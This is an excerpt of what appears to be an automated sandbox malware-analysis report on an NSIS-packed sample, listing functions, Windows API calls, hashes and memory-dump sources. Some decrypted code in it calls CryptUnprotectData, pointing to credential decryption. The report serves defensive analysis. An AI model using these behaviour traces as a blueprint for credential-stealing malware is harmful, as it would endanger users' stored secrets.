Instruction ID: a43ef2960d19ba322ef9f89523e49aa1c2bce776c392b031375e9c496d73480c
Opcode Fuzzy Hash: d5496dd476aad18d91f711e80d01e8462df36306bc2255d6adc335857816699c
Instruction Fuzzy Hash: D451C33AD04159AA8B219FBBC9805AEBBBDEF46358B1043DFD404E7240D771BE8187A1

Function 6FFB2394 Relevance: 7.6, APIs: 5, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 6FFB24D6

Part of subcall function 6FFB122C: lstrcpynW.KERNEL32(00000000,?,6FFB12DF,00000019,6FFB11BE,-000000A0), ref: 6FFB123C

GlobalAlloc.KERNEL32(00000040), ref: 6FFB245C
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,?,00000000,00000000), ref: 6FFB2477

Memory Dump Source

Source File: 00000001.00000002.2081342100.000000006FFB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000001.00000002.2081095935.000000006FFB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081452717.000000006FFB4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081508923.000000006FFB6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ffb0000_v4nrZtP7K2.jbxd

Similarity

API ID: Global$AllocByteCharFreeMultiWidelstrcpyn
String ID:
API String ID: 4216380887-0
Opcode ID: f5a2bfac3b3f24645b7327825b0cdbeeae7498422e67f1878a2e0967f843203d
Instruction ID: cfa6f9b213c4342137cb42a6994ebf1cdef3dc50dc302fa5d3608d5d76d29b62
Opcode Fuzzy Hash: f5a2bfac3b3f24645b7327825b0cdbeeae7498422e67f1878a2e0967f843203d
Instruction Fuzzy Hash: 6841F0B1108305DFD711EF3AD884A6A77B8FF4A360F044A5EE046C7A91EF72A444CB61

Function 00401DB9 Relevance: 7.5, APIs: 5, Instructions: 43COMMON

Download Yara Rule

APIs

GetDC.USER32(?), ref: 00401DBC
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401DD6
MulDiv.KERNEL32(00000000,00000000), ref: 00401DDE
ReleaseDC.USER32(?,00000000), ref: 00401DEF
CreateFontIndirectW.GDI32(0040CDD8), ref: 00401E3E

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CapsCreateDeviceFontIndirectRelease
String ID:
API String ID: 3808545654-0
Opcode ID: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction ID: 863f18fc6204ba506076eb1f746ada73c94881a68b515e1873f2d1072bd1cf43
Opcode Fuzzy Hash: e8aeef341752f35f6f278e7796ab08014b9ac4723c71950966d24e93e9008032
Instruction Fuzzy Hash: 15017171944240EFE701ABB4AF8ABD97FB4AF55301F10457EE242F61E2CA7804459F2D

Function 6FFB161D Relevance: 7.5, APIs: 5, Instructions: 41memorylibraryloaderCOMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000808,00000000,?,00000000,6FFB21EC,?,00000808), ref: 6FFB1635
GlobalAlloc.KERNEL32(00000040,00000000,?,00000000,6FFB21EC,?,00000808), ref: 6FFB163C
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,00000000,6FFB21EC,?,00000808), ref: 6FFB1650
GetProcAddress.KERNEL32(6FFB21EC,00000000), ref: 6FFB1657
GlobalFree.KERNEL32(00000000), ref: 6FFB1660

Memory Dump Source

Source File: 00000001.00000002.2081342100.000000006FFB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000001.00000002.2081095935.000000006FFB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081452717.000000006FFB4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081508923.000000006FFB6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ffb0000_v4nrZtP7K2.jbxd

Similarity

API ID: ByteCharGlobalMultiWide$AddressAllocFreeProc
String ID:
API String ID: 1148316912-0
Opcode ID: 98a75ba776b49f5fa1a0ba2ab8685a86290a2f593379fe6df078d2d74e90c8a3
Instruction ID: 030490e54e6661d91aac81a529b8958543336bdbbe0c88e4fb0e54bd9df989a7
Opcode Fuzzy Hash: 98a75ba776b49f5fa1a0ba2ab8685a86290a2f593379fe6df078d2d74e90c8a3
Instruction Fuzzy Hash: 2FF037721165387FDA201AA78D4CD9B7E9CEF8B2F5B110311F718D12A0C5614C11DBF1

Function 00401D5D Relevance: 7.5, APIs: 5, Instructions: 39windowCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,?), ref: 00401D63
GetClientRect.USER32(00000000,?), ref: 00401D70
LoadImageW.USER32(?,00000000,?,?,?,?), ref: 00401D91
SendMessageW.USER32(00000000,00000172,?,00000000), ref: 00401D9F
DeleteObject.GDI32(00000000), ref: 00401DAE

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction ID: 8bbc6a183a468c813578a114873fb97f9d5ca0b11dae6a70aa3aa56fe52826a6
Opcode Fuzzy Hash: f8e0c1d3071f89bffdcd2d635822fb410905a1edc8d2ce6cb8a0a09a78f20d84
Instruction Fuzzy Hash: 4BF0FF72A04518AFDB01DBE4DF88CEEB7BCEB48301B14047AF641F61A0CA749D519B38

Function 00401C1F Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C8F
SendMessageW.USER32(00000000,00000000,?,?), ref: 00401CA7

Strings

!, xrefs: 00401C5B

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction ID: ef61c68cd4a6cc3a6f3726d4b558d534156d03c1c75d5f5b51cfe904c604fa23
Opcode Fuzzy Hash: 204806375d4f16312a37781d02af86e184349cdc68ded53cac09897120414cdc
Instruction Fuzzy Hash: A621B471948209AEEF049FA5DA4AABD7BB4EB44304F14443EF605B61D0D7B845409B18

Function 00405CBD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 00405CC3
CharPrevW.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,00403492,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76F93420,004036EF,?,00000006,00000008,0000000A), ref: 00405CCD
lstrcatW.KERNEL32(?,0040A014,?,00000006,00000008,0000000A), ref: 00405CDF

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405CBD

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-297319885
Opcode ID: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction ID: 595fb0ef6d3bfc82903baa2f142a0de03b6946227050b98ce465681b6cfad29b
Opcode Fuzzy Hash: cc3b6fad2320eb0d125534955cb1fe8af3638bf69e103b669ecb1462063790d4
Instruction Fuzzy Hash: AED0A771101630AAC111AB448D04CDF63ACEE45304342003BF601B70A2CB7C1D6287FD

Function 00405DC5 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 47stringCOMMON

Download Yara Rule

APIs

Part of subcall function 004063E8: lstrcpynW.KERNEL32(?,?,00000400,00403576,00429240,NSIS Error,?,00000006,00000008,0000000A), ref: 004063F5

Part of subcall function 00405D68: CharNextW.USER32(?,?,00425F30,?,00405DDC,00425F30,00425F30,?,?,76F92EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,00000000), ref: 00405D76
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D7B
Part of subcall function 00405D68: CharNextW.USER32(00000000), ref: 00405D93

lstrlenW.KERNEL32(00425F30,00000000,00425F30,00425F30,?,?,76F92EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,76F92EE0,00000000), ref: 00405E1E
GetFileAttributesW.KERNEL32(00425F30,00425F30,00425F30,00425F30,00425F30,00425F30,00000000,00425F30,00425F30,?,?,76F92EE0,00405B1A,?,C:\Users\user\AppData\Local\Temp\,76F92EE0), ref: 00405E2E

Strings

0_B, xrefs: 00405DCB

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: 0_B
API String ID: 3248276644-2128305573
Opcode ID: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction ID: e2ef3bf648e1011fa726b67e088789f036b8871ba300d86fb9c867912b04298b
Opcode Fuzzy Hash: df6e64e4f6769b316d4c1c7beb25aaa03b2c49ca2ab4503c480f7fe4b4eab687
Instruction Fuzzy Hash: B4F0F439109E5116D62233365D09BEF0548CF82354B5A853BFC91B22D2DB3C8A539DFE

Function 004059D1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24processCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,04000000,00000000,00000000,00426730,Error launching installer), ref: 004059FA
CloseHandle.KERNEL32(?), ref: 00405A07

Strings

Error launching installer, xrefs: 004059E4

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: CloseCreateHandleProcess
String ID: Error launching installer
API String ID: 3712363035-66219284
Opcode ID: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction ID: 166b032e71181ba573d10d742cd21a74b10ba840f41c43b266edefbe5b435367
Opcode Fuzzy Hash: 6d78ed6c6b667bfe634139d4e18f22187190c1a967eebebbcf2d401a0833c7e8
Instruction Fuzzy Hash: E5E04FB0A102097FEB009B64ED49F7B76ACFB04208F404531BD00F2150D774A8208A7C

Function 00403A43 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,00000000,76F92EE0,00403A1A,76F93420,00403819,00000006,?,00000006,00000008,0000000A), ref: 00403A5D
GlobalFree.KERNEL32(?), ref: 00403A64

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403A55

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-297319885
Opcode ID: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction ID: 7abb624b42f0eb5bf3103b67fd66c27476adae564a61ccebc81435f3e7eba37d
Opcode Fuzzy Hash: e06207bb45b670d34af272b3fb1259f6a40c1f68299225e6b4906b67dd7614d2
Instruction Fuzzy Hash: 73E0EC326111205BC6229F59AD44B5E776D6F58B22F0A023AE8C07B26087745D938F98

Function 6FFB10E1 Relevance: 5.1, APIs: 4, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 6FFB116A
GlobalFree.KERNEL32(00000000), ref: 6FFB11C7
GlobalFree.KERNEL32(00000000), ref: 6FFB11D9
GlobalFree.KERNEL32(?), ref: 6FFB1203

Memory Dump Source

Source File: 00000001.00000002.2081342100.000000006FFB1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6FFB0000, based on PE: true

Associated: 00000001.00000002.2081095935.000000006FFB0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081452717.000000006FFB4000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2081508923.000000006FFB6000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6ffb0000_v4nrZtP7K2.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 8679775c95783af3bfebe83eebe9ca7a06818d0950cfdb224693965b654c4608
Instruction ID: 96ef4ae28d8c95edd8a35fd3715030d4c3ea0f0b9c661f49bedf1663d6e0efcd
Opcode Fuzzy Hash: 8679775c95783af3bfebe83eebe9ca7a06818d0950cfdb224693965b654c4608
Instruction Fuzzy Hash: 8A3192B2514206DFDB009F7AC985B6677ECEF46360B14061EE844DB368E778E9118760

Function 00405E43 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E53
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405E6B
CharNextA.USER32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E7C
lstrlenA.KERNEL32(00000000,?,00000000,00406128,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405E85

Memory Dump Source

Source File: 00000001.00000002.2033812125.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2033762059.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033833848.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033855611.0000000000453000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000001.00000002.2033951747.0000000000455000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_v4nrZtP7K2.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction ID: 3eb9f18af2c16f81f4dc7877ab3147293eaebe45f2d41041cd024b5e05e36bdf
Opcode Fuzzy Hash: 7e71a0af936693ae9f9191b5a8beeb80aa55241a483ed2e2c495a4152d25f7df
Instruction Fuzzy Hash: 4AF0C831100514AFC7029B94DD4099FBBA8DF06354B25407AE844FB211D634DF01AB98

Analysis Process: v4nrZtP7K2.exePID: 4256, Parent PID: 1704COMMON

Execution Graph

Execution Coverage:	10.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.7%
Total number of Nodes:	276
Total number of Limit Nodes:	22

Executed Functions

Function 36947628 Relevance: 2.0, APIs: 1, Instructions: 533
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bc907312b305e5f0f70cbe26e6eb50f1b1d651db31c5d204aee32e148d6c6b72
Instruction ID: 1d7c45afe6388a9f05efff016ff508e0693a4926f30c79a327fb15a3e63f1105
Opcode Fuzzy Hash: bc907312b305e5f0f70cbe26e6eb50f1b1d651db31c5d204aee32e148d6c6b72
Instruction Fuzzy Hash: 8A223A74E003188FEB15EFA9D884B9DBBB2BF85314F6081A9D408AB355DB359D85CF90

Function 3694D9D9 Relevance: 1.6, APIs: 1, Instructions: 58
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(0000005F,?,00000000,?,?,?,?), ref: 3694DA45

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: 387e87ab7420bf353de3e68ee721973c650c14a4ef427c621168b91f7e40333b
Instruction ID: 29d271a94d46cdf59b28cac92bc4131864513574e680532baddd554a6b49a8d4
Opcode Fuzzy Hash: 387e87ab7420bf353de3e68ee721973c650c14a4ef427c621168b91f7e40333b
Instruction Fuzzy Hash: 841167B6800249DFDB10CF9AC841BEEBBF5EF48320F148419E654A7211C379AA54CFA5

Function 3694D1EC Relevance: 1.6, APIs: 1, Instructions: 55
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptUnprotectData.CRYPT32(0000005F,?,00000000,?,?,?,?), ref: 3694DA45

Memory Dump Source

Source File: 00000005.00000002.2946301304.0000000036940000.00000040.00000800.00020000.00000000.sdmp, Offset: 36940000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_36940000_v4nrZtP7K2.jbxd

Similarity

API ID: CryptDataUnprotect
String ID:
API String ID: 834300711-0
Opcode ID: cd3ba3c6cc218c8d781e2deb2ac1db2978f7c3c25b40271f21e00ac314df2cae
Instruction ID: 9e27cc9989692d3e55fc8a4825f2a10b95884612dd893ad17158ee8fe0e832d3
Opcode Fuzzy Hash: cd3ba3c6cc218c8d781e2deb2ac1db2978f7c3c25b40271f21e00ac314df2cae
Instruction Fuzzy Hash: DE1167B6800349EFDB11CF9AC845BEEBBF4EF48320F158419E618A7250C379A954CFA5

Function 37609D10 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

0^V7, xrefs: 37609FF0

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID: 0^V7
API String ID: 0-3809573850
Opcode ID: b3c9b442e3790dc7c7591193c4bf1f82b4588ea0690c979076cb9707502fb8ac
Instruction ID: da23a8ce012daf260bf5e15942b19930773dccf2279c14d0c60a8f4ddd8a3a3c
Opcode Fuzzy Hash: b3c9b442e3790dc7c7591193c4bf1f82b4588ea0690c979076cb9707502fb8ac
Instruction Fuzzy Hash: CDA180B5E052288FEB18CF6AC954B9DBBF2BF89300F14C0AAD409A7251DB745A85CF51

Function 3760A360 Relevance: 1.5, Strings: 1, Instructions: 219COMMON

Download Yara Rule

Strings

0^V7, xrefs: 3760A640

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID: 0^V7
API String ID: 0-3809573850
Opcode ID: 6ccc498bfbdcd7a0bf91ea265244690e9aa6b5834f54df84e19a43a8e4f87cc6
Instruction ID: 8b8dc64e04fe5e3364eb39471bcab0bd53ec5304cff380a15b00e0f68d300e62
Opcode Fuzzy Hash: 6ccc498bfbdcd7a0bf91ea265244690e9aa6b5834f54df84e19a43a8e4f87cc6
Instruction Fuzzy Hash: C8A192B5E052188FEB18CF6AC994B9DBBF2BF89300F14C0AAD408B7255DB745A85CF51

Function 376096C8 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0^V7, xrefs: 376099A4

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID: 0^V7
API String ID: 0-3809573850
Opcode ID: c4c81568b23f4da800ce9b0ad8071e1a17c61381af2654fca6ff70ce9e1b0cb6
Instruction ID: 17ab01dd312a7d415ac007e0f4e3db2cd330b3a972c3547359fa8e577e794043
Opcode Fuzzy Hash: c4c81568b23f4da800ce9b0ad8071e1a17c61381af2654fca6ff70ce9e1b0cb6
Instruction Fuzzy Hash: 9DA181B5E052288FEB58CF6AC954B9DBBF2BF89300F14D0AAD408B7255DB345A85CF11

Function 3760A9B0 Relevance: 1.5, Strings: 1, Instructions: 218COMMON

Download Yara Rule

Strings

0^V7, xrefs: 3760AC8B

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID: 0^V7
API String ID: 0-3809573850
Opcode ID: 6afc6469aa0b4a98ba3fb405af396fa96cd63d0e4096514cc0c672783892262f
Instruction ID: ef8de3ef5406e8f481b52e6d2a9fd17ab705cf8cf2a95ea06b3916a56f704b8a
Opcode Fuzzy Hash: 6afc6469aa0b4a98ba3fb405af396fa96cd63d0e4096514cc0c672783892262f
Instruction Fuzzy Hash: 5CA193B5E052188FEB18CF6AC994B9DBBF2BF89300F14C1AAD408B7255DB345A85CF11

Function 3760A9A0 Relevance: 1.4, Strings: 1, Instructions: 174COMMON

Download Yara Rule

Strings

0^V7, xrefs: 3760AC8B

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID: 0^V7
API String ID: 0-3809573850
Opcode ID: c414ef8b96742d680ee90fe60ffcd2dd5757aaa736b3eda4b6b5e92e433c1cb6
Instruction ID: dd94b3c8e3f4e108b84663612c377a5feb53d10a18a115a2dff09b13b0b38354
Opcode Fuzzy Hash: c414ef8b96742d680ee90fe60ffcd2dd5757aaa736b3eda4b6b5e92e433c1cb6
Instruction Fuzzy Hash: CC8186B5E046188FEB18CF6AC954B9AFBF2AF89300F14C1EAD40CA7255DB345A85CF51

Function 376096B8 Relevance: 1.4, Strings: 1, Instructions: 168COMMON

Download Yara Rule

Strings

0^V7, xrefs: 376099A4

Memory Dump Source

Source File: 00000005.00000002.2947879873.0000000037600000.00000040.00000800.00020000.00000000.sdmp, Offset: 37600000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_37600000_v4nrZtP7K2.jbxd

Similarity

API ID:
String ID: 0^V7
API String ID: 0-3809573850
Opcode ID: dfe1085432b975db15287aaea28fdbaf39cc15b59b07d36160076084c317cad9
Instruction ID: c2f5b3d7419d72d9545891bce7c0dbe7fedf5449fa6b3ae1c16ee5512490cbec
Opcode Fuzzy Hash: dfe1085432b975db15287aaea28fdbaf39cc15b59b07d36160076084c317cad9
